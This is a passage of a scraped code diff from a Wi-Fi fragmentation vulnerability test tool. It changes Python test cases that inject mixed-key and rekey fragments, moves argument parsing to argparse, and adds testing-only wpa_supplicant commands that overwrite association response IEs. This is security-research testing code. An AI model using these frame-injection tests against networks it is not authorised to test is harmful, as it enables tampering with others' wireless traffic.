|
elif test_name == "3":
|
||||||
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
||||||
# trigger a rekey, but must do the rekey handshake in plaintext.
|
# trigger a rekey, but must do the rekey handshake in plaintext.
|
||||||
test = PingTest(REQ_DHCP,
|
test = PingTest(REQ_DHCP,
|
||||||
[Frag(Frag.Connected, True),
|
[Action(Action.Connected, enc=True),
|
||||||
Frag(Frag.AfterAuth, True, flags=Frag.Rekey)])
|
Action(Action.Connected, action=Action.Rekey),
|
||||||
|
Action(Action.AfterAuth, enc=True)])
|
||||||
|
|
||||||
elif test_id == 4:
|
elif test_name == "4":
|
||||||
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
# Two fragments over different PTK keys. Against RT-AC51U AP we can
|
||||||
# trigger a rekey, but must do the rekey handshake in plaintext.
|
# trigger a rekey, but must do the rekey handshake in plaintext.
|
||||||
test = PingTest(REQ_DHCP,
|
test = PingTest(REQ_DHCP,
|
||||||
[Frag(Frag.BeforeAuth, True, flags=Frag.Rekey),
|
[Action(Action.Connected, action=Action.Rekey),
|
||||||
Frag(Frag.AfterAuth, True)])
|
Action(Action.BeforeAuth, enc=True),
|
||||||
|
Action(Action.AfterAuth, enc=True)])
|
||||||
|
|
||||||
elif test_id == 5:
|
elif test_name == "5":
|
||||||
test = MacOsTest(REQ_DHCP)
|
test = MacOsTest(REQ_DHCP)
|
||||||
|
|
||||||
elif test_id == 6:
|
elif test_name == "6":
|
||||||
# Check if we can send frames in between fragments
|
# Check if we can send frames in between fragments
|
||||||
separator = Dot11(type="Data", subtype=8, SC=(33 << 4))/Dot11QoS()/LLC()/SNAP()
|
separator = Dot11(type="Data", subtype=8, SC=(33 << 4))/Dot11QoS()/LLC()/SNAP()
|
||||||
#separator.addr2 = "00:11:22:33:44:55"
|
#separator.addr2 = "00:11:22:33:44:55"
|
||||||
#separator.addr3 = "ff:ff:ff:ff:ff:ff"
|
#separator.addr3 = "ff:ff:ff:ff:ff:ff"
|
||||||
test = PingTest(REQ_DHCP,
|
test = PingTest(REQ_DHCP,
|
||||||
[Frag(Frag.Connected, True),
|
[Action(Action.Connected, enc=True),
|
||||||
Frag(Frag.Connected, True, delay=1)])
|
Action(Action.Connected, enc=True, delay=1)])
|
||||||
#separate_with=separator)
|
#separate_with=separator)
|
||||||
|
|
||||||
elif test_id == 7:
|
elif test_name == "7":
|
||||||
test = EapolMsduTest(REQ_DHCP)
|
test = EapolMsduTest(REQ_ICMP)
|
||||||
|
|
||||||
# XXX TODO : Hardware decrypts it using old key, software using new key?
|
# XXX TODO : Hardware decrypts it using old key, software using new key?
|
||||||
# So right after rekey we inject first with old key, second with new key?
|
# So right after rekey we inject first with old key, second with new key?
|
||||||
@ -1085,29 +1104,36 @@ def prepare_tests(test_id):
|
|||||||
# 1.8 Encrypted, plaintext, encrypted
|
# 1.8 Encrypted, plaintext, encrypted
|
||||||
# 1.9 Plaintext, encrypted, plaintext
|
# 1.9 Plaintext, encrypted, plaintext
|
||||||
# 2. Test 2 but first plaintext sent before installing key
|
# 2. Test 2 but first plaintext sent before installing key
|
||||||
|
# ==> Plaintext can already be sent during 4-way HS?
|
||||||
|
# - Test fragmentation of management frames
|
||||||
|
# - Test fragmentation of group frames (STA mode of RT-AC51u?)
|
||||||
|
|
||||||
return test
|
return test
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
|
log(WARNING, "Remember to use a modified backports and ath9k_htc firmware!\n")
|
||||||
if "--help" in sys.argv or "-h" in sys.argv:
|
|
||||||
print("\nSee README.md for usage instructions.")
|
|
||||||
quit(1)
|
|
||||||
elif len(sys.argv) < 2:
|
|
||||||
print(f"Usage: {sys.argv[0]} interface test_id")
|
|
||||||
quit(1)
|
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(description="Test for fragmentation vulnerabilities.")
|
||||||
|
parser.add_argument('iface', help="Interface to use for the tests.")
|
||||||
|
parser.add_argument('testname', help="Name or identifier of the test to run.")
|
||||||
|
parser.add_argument('--ip', help="IP we as a sender should use.")
|
||||||
|
parser.add_argument('--peerip', help="IP of the device we will test.")
|
||||||
|
parser.add_argument('--ap', default=False, action='store_true', help="Act as an AP to test clients.")
|
||||||
|
parser.add_argument('--debug', type=int, default=0, help="Debug output level.")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
# Convert parsed options to TestOptions object
|
||||||
options = TestOptions()
|
options = TestOptions()
|
||||||
options.interface = sys.argv[1]
|
options.interface = args.iface
|
||||||
options.test = prepare_tests(int(sys.argv[2]))
|
options.test = prepare_tests(args.testname)
|
||||||
|
options.ip = args.ip
|
||||||
|
options.peerip = args.peerip
|
||||||
|
|
||||||
# Parse remaining options
|
# Parse remaining options
|
||||||
start_ap = argv_pop_argument("--ap")
|
global_log_level -= args.debug
|
||||||
while argv_pop_argument("--debug"):
|
|
||||||
libwifi.global_log_level -= 1
|
|
||||||
|
|
||||||
# Now start the tests
|
# Now start the tests
|
||||||
if start_ap:
|
if args.ap:
|
||||||
daemon = Authenticator(options)
|
daemon = Authenticator(options)
|
||||||
else:
|
else:
|
||||||
daemon = Supplicant(options)
|
daemon = Supplicant(options)
|
||||||
|
@ -57,6 +57,10 @@
|
|||||||
#include "dpp_supplicant.h"
|
#include "dpp_supplicant.h"
|
||||||
#include "sme.h"
|
#include "sme.h"
|
||||||
|
|
||||||
|
#ifdef CONFIG_TESTING_OPTIONS
|
||||||
|
#include <rsn_supp/wpa_i.h>
|
||||||
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
|
|
||||||
#ifdef __NetBSD__
|
#ifdef __NetBSD__
|
||||||
#include <net/if_ether.h>
|
#include <net/if_ether.h>
|
||||||
#elif !defined(__CYGWIN__) && !defined(CONFIG_NATIVE_WINDOWS)
|
#elif !defined(__CYGWIN__) && !defined(CONFIG_NATIVE_WINDOWS)
|
||||||
@ -9440,6 +9444,50 @@ static int wpa_supplicant_ctrl_iface_get_gtk(struct wpa_supplicant *wpa_s,
|
|||||||
return pos;
|
return pos;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int wpas_ctrl_get_assoc_resp_ies(struct wpa_supplicant *wpa_s,
|
||||||
|
char *buf, size_t buflen)
|
||||||
|
{
|
||||||
|
struct wpa_sm *sm = wpa_s->wpa;
|
||||||
|
|
||||||
|
if (sm->assoc_resp_ies == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
return wpa_snprintf_hex(buf, buflen, sm->assoc_resp_ies, sm->assoc_resp_ies_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static int wpas_ctrl_set_assoc_resp_ies(struct wpa_supplicant *wpa_s, const char *cmd)
|
||||||
|
{
|
||||||
|
struct wpa_sm *sm = wpa_s->wpa;
|
||||||
|
size_t len;
|
||||||
|
u8 *buf;
|
||||||
|
|
||||||
|
len = os_strlen(cmd);
|
||||||
|
if (len & 1) return -1;
|
||||||
|
len /= 2;
|
||||||
|
|
||||||
|
buf = os_malloc(len);
|
||||||
|
if (buf == NULL)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
if (hexstr2bin(cmd, buf, len) < 0) {
|
||||||
|
os_free(buf);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("\n\nCurrent value = ");
|
||||||
|
for (int i = 0; i < sm->assoc_resp_ies_len; ++i)
|
||||||
|
printf("%02X ", sm->assoc_resp_ies[i]);
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
os_free(sm->assoc_resp_ies);
|
||||||
|
sm->assoc_resp_ies = buf;
|
||||||
|
sm->assoc_resp_ies_len = len;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
#endif /* CONFIG_TESTING_OPTIONS */
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
|
|
||||||
|
|
||||||
@ -10785,6 +10833,11 @@ char * wpa_supplicant_ctrl_iface_process(struct wpa_supplicant *wpa_s,
|
|||||||
WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA);
|
WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA);
|
||||||
} else if (os_strcmp(buf, "GET_GTK") == 0) {
|
} else if (os_strcmp(buf, "GET_GTK") == 0) {
|
||||||
reply_len = wpa_supplicant_ctrl_iface_get_gtk(wpa_s, reply, reply_size);
|
reply_len = wpa_supplicant_ctrl_iface_get_gtk(wpa_s, reply, reply_size);
|
||||||
|
} else if (os_strcmp(buf, "GET_ASSOC_RESP_IES") == 0) {
|
||||||
|
reply_len = wpas_ctrl_get_assoc_resp_ies(wpa_s, reply, reply_size);
|
||||||
|
} else if (os_strncmp(buf, "SET_ASSOC_RESP_IES ", 19) == 0) {
|
||||||
|
if (wpas_ctrl_set_assoc_resp_ies(wpa_s, buf + 19) < 0)
|
||||||
|
reply_len = -1;
|
||||||
#endif /* CONFIG_TESTING_OPTIONS */
|
#endif /* CONFIG_TESTING_OPTIONS */
|
||||||
} else if (os_strncmp(buf, "VENDOR_ELEM_ADD ", 16) == 0) {
|
} else if (os_strncmp(buf, "VENDOR_ELEM_ADD ", 16) == 0) {
|
||||||
if (wpas_ctrl_vendor_elem_add(wpa_s, buf + 16) < 0)
|
if (wpas_ctrl_vendor_elem_add(wpa_s, buf + 16) < 0)
|
||||||
|
Loading…
x
Reference in New Issue
Block a user